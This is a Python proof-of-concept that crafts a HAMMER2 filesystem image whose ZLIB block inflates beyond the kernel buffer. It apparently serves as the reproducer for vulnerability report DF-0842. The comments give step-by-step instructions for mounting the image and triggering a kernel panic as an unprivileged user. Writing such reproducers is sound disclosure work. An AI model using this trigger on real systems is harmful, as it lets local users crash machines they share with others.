DF-0842 / make_crafted_image.py
#!/usr/bin/env python3 # DF-0842 -- real-image trigger generator. # # Builds a crafted HAMMER2 filesystem image in which a ZLIB-compressed data # block decompresses to MORE than the kernel's per-block output buffer # (HAMMER2_PBUFSIZE = 16384). On read, hammer2_strategy.c:257 calls # inflate(&strm, Z_FINISH); inflate fills avail_out, then exits via inf_leave # in MATCH/LIT mode (< CHECK) with output produced -- the inf_leave guard at # hammer2_zlib_inflate.c:1018-1019 calls updatewindow(), which zmemcpy()s # through state->window == NULL -> fatal page fault at VA=0x0. # # The DATA blockref is created with check=none (hammer2 setcheck none), so the # corrupted block content is never CRC-rejected; only the data bytes change. # # Usage (on a host with python3): # 1. guest: create base image w/ setcomp zlib + setcheck none, write a file # (see evidence pack / real-trigger steps in VERDICT.md). # 2. host: python3 make_crafted_image.py <base.img> <out.img> # 3. guest: vnconfig + mount out.img; cat the file as unprivileged user -> # kernel panic (fatal trap 12, fault VA = 0x0). # # Reproduces DF-0842: "Missing sliding-window allocation in inflate # updatewindow()". import sys, struct, zlib BLOCK_OFF = 0x01c00000 # data block offset in the sample base image BLOCK_SZ = 1024 # radix 10 (1<<10) block holding the zlib stream def patch(base, out): img = bytearray(open(base, "rb").read()) # A zlib stream that decompresses to 200 KB >> avail_out (16384), but # compresses to ~218 bytes (fits the 1024-byte block). inflate will fill # the output buffer and exit via inf_leave in MATCH/LIT (< CHECK). stream = zlib.compress(b"A" * 200000, 9) assert len(stream) <= BLOCK_SZ, len(stream) block = stream + b"\x00" * (BLOCK_SZ - len(stream)) print("[*] base block head:", img[BLOCK_OFF:BLOCK_OFF+4].hex()) img[BLOCK_OFF:BLOCK_OFF+BLOCK_SZ] = block open(out, "wb").write(img) print("[*] crafted image written:", out) print("[*] new block head :", img[BLOCK_OFF:BLOCK_OFF+16].hex()) print("[*] stream decompresses to 200000 bytes (> avail_out 16384)") if __name__ == "__main__": if len(sys.argv) != 3: print("usage: %s <base.img> <out.img>" % sys.argv[0]) sys.exit(1) patch(sys.argv[1], sys.argv[2]) |